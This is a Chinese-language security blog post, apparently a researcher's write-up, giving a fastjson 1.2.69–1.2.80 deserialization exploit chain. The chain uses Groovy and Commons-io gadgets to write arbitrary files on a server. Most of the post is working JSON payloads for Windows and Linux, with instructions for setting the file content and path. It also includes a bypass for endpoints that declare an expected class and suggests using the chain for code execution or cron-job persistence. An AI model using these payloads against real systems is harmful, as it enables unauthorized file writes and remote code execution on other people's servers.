最近在测试一个系统的接口时,发现了fastjson的报错,页面回显的是fastjson1.2.70版本,笔者一开始尝试网上的各个poc,最后并没有发现相关版本的链子,同时网上很多链子也没有说是什么版本的,比较混乱。
所以笔者自己就学习了下fastjson的原理,最终在常见的两个库中即Groovy+Commons-io这两个依赖下,找到了一个基于1.2.69至1.2.80版本的文件写入的链子。
效果为:
Windows下可以写入二进制文件,可以在不出网的情况下,配合Groovy的链子可以达到不出网的rce。
linux下仅可以写入文件,可以配合写入计划任务等,进行后续利用。
同时,笔者是在主要参考了ninefiger大佬fastjson%201.2.73-12.80漏洞分析下,针对文章的链子进行进一步的优化的,从原来的Ongl+Commons-io写文件的链子,且限定fastjson版本在1.2.76到1.2.80版本,变成了1.2.69到1.2.80版本。
同时文件写入的链子是参考珂字辈大佬的文章springboot环境下的写文件RCE写入的链子。
该利用链子分版本,即Commons-io的版本,不同版本下,参数名称不一致,可能导致利用失败。
其次还分系统,笔者在测试时,发现Windows下,可以写入二进制文件,也可以写入常规的文本文件,而在linux下,因为调用的构造函数不同,导致只能写入文本文件。
笔者测试使用的是:
fastjson 1.2.70
Groovy 3.0.9
Commons-io 2.4
poc1:
{
"a": {
"@type": "java.lang.Exception",
"@type": "groovyjarjarantlr.MismatchedCharException",
},
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "groovyjarjarantlr.MismatchedCharException",
"scanner": {}
}
}
}
}
poc2:
{
"a": {
"@type": "groovyjarjarantlr.CharScanner",
"@type": "org.codehaus.groovy.antlr.java.JavaLexer",
"in":{
"@type":"java.io.InputStream"
}
}
}
poc3:
{
"a": {
"@type": "groovyjarjarantlr.CharScanner",
"@type": "org.codehaus.groovy.antlr.java.JavaLexer",
"in":{
"@type":"java.io.Reader"
}
}
}
poc4:
{
"a": {
"@type": "groovyjarjarantlr.CharScanner",
"@type": "org.codehaus.groovy.antlr.parser.GroovyLexer",
"in":{
"@type":"java.io.Reader"
}
}
}
poc5:
{
"a": {
"@type": "groovyjarjarantlr.CharScanner",
"@type": "org.codehaus.groovy.antlr.parser.GroovyLexer",
"in":{
"@type":"java.io.InputStream"
}
}
}
这里来说说为什么需要这么多poc,使用groovy库的目的就是为了写入java.io.InputStream,然后org.codehaus.groovy.antlr.java.JavaLexer和org.codehaus.groovy.antlr.parser.GroovyLexer的构造函数,都是4个:

而在反序列化该类时,fastjson在选择参数时,逻辑是如果存在无参构造函数,就选择无参构造函数,如果不存在无参构造函数,那么就选择有参构造函数,并在有参构造函数中,选择最多参数的一个。
回到这两个类来,因为没有无参构造函数,同时有参构造函数有4个,且参数都是一个,所以,这里就随机起来了。在进行反序列化时,会随机其中一个函数,而我们想要的就是这四个中的前面两个,即java.io.InputStream和java.io.Reader,即二分之一的概率,如果org.codehaus.groovy.antlr.java.JavaLexer没有随机到java.io.InputStream或java.io.Reader,那么就继续使用org.codehaus.groovy.antlr.parser.GroovyLexer来写入,只需要写入任意一个java.io.InputStream或者java.io.Reader就可以了,按照一般的概率来算,即一个环境下的能够写入该链子的概率就是四分之三(失败的概率为二分之一乘以二分之一)。
如果目标环境真随机到这个四分之一,那么这个链子就用不了了。。。。
这里还有一点,如果写入成功的是java.io.Reader,我们需要在写入以下poc6:
{
"a": {
"@type":"java.io.Reader",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type": "java.io.InputStream"
}
}
}
将java.io.InputStream写进去。
在上述写入成功后,我们就可以来写文件了:
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"s": {
"@type": "java.lang.String""写入的内容放这里",
"charset": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "D:\\tmp\\b\\tests.txt",
"append": true,
"lockDir": "D:\\tmp\\b\\"
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
} } ,
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
}
}
写入的内容放在"@type": "java.lang.String""写入的内容放这里",这里,比如要写入test,那么就是"@type": "java.lang.String""test",
然后写入文件的位置在"file": "D:\\tmp\\b\\tests.txt",这里,同时"lockDir": "D:\\tmp\\b\\"这里也改下,内容是写入文件的路径,不包含文件名称。
linux下,经过测试发现org.apache.commons.io.output.WriterOutputStream调用的函数和Windows不一致:
第二个需要的是一个java.nio.charset.CharsetDecoder类型类,同时也是因为这个类的原因,导致linux下无法写入二进制内容,因为只有com.alibaba.fastjson.util.UTF8Decoder满足需求,同时也是因为这个Decoder,导致只能写入UTF-8编码的内容,如果写入二进制,会导致解码失败,写入文件也就失败了,同时该参数是必要的,不传的话,直接会导致报错。
写入com.alibaba.fastjson.util.UTF8Decoder的链子:
{
"a":{
"@type":"java.io.InputStream",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"decoder": {
}
}
}
}
}
}
}
写入成功后,就可以写文件了:
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"s": {
"@type": "java.lang.String""just a testing",
"charset": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/testbmp",
"charset": "UTF-8",
"append": true,
"lockDir": "/tmp/"
},
"decoder": {
"@type": "com.alibaba.fastjson.util.UTF8Decoder"
},
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
}
}
写入的内容和位置和Windows一致。
笔者在尝试写入时,发现部分情况下,fastjson接口后端是有指定了类的,即后端代码类似于这样写的:
@RequestMapping("/json")
public Object json(@RequestBody String rawJson){
Object test = JSONObject.parseObject(rawJson,tests.class);
System.out.println(test);
return test;
}
在fastjson对字符串进行反序列化时,可能会指定目标类,即JSONObject.parseObject(rawJson,tests.class);中的tests.class,如果后端是这样的情况,上述的poc就无法写入,原理就是有预期类,导致fastjson在保存json内容时有冲突,$.a无法指定到我们链子中的:
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"s": {
"@type": "java.lang.String""just a testing",
"charset": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/testbmp",
"charset": "UTF-8",
"append": true,
"lockDir": "/tmp/"
},
"decoder": {
"@type": "com.alibaba.fastjson.util.UTF8Decoder"
},
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
}
中,针对这种情况,也有办法,就是将$.a换为$.null即可识别,成功写入。
https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA
https://blog.ninefiger.top/2022/11/11/fastjson%201.2.68漏洞分析/
https://blog.ninefiger.top/2022/11/11/fastjson%201.2.73-12.80漏洞分析/#1-版本探测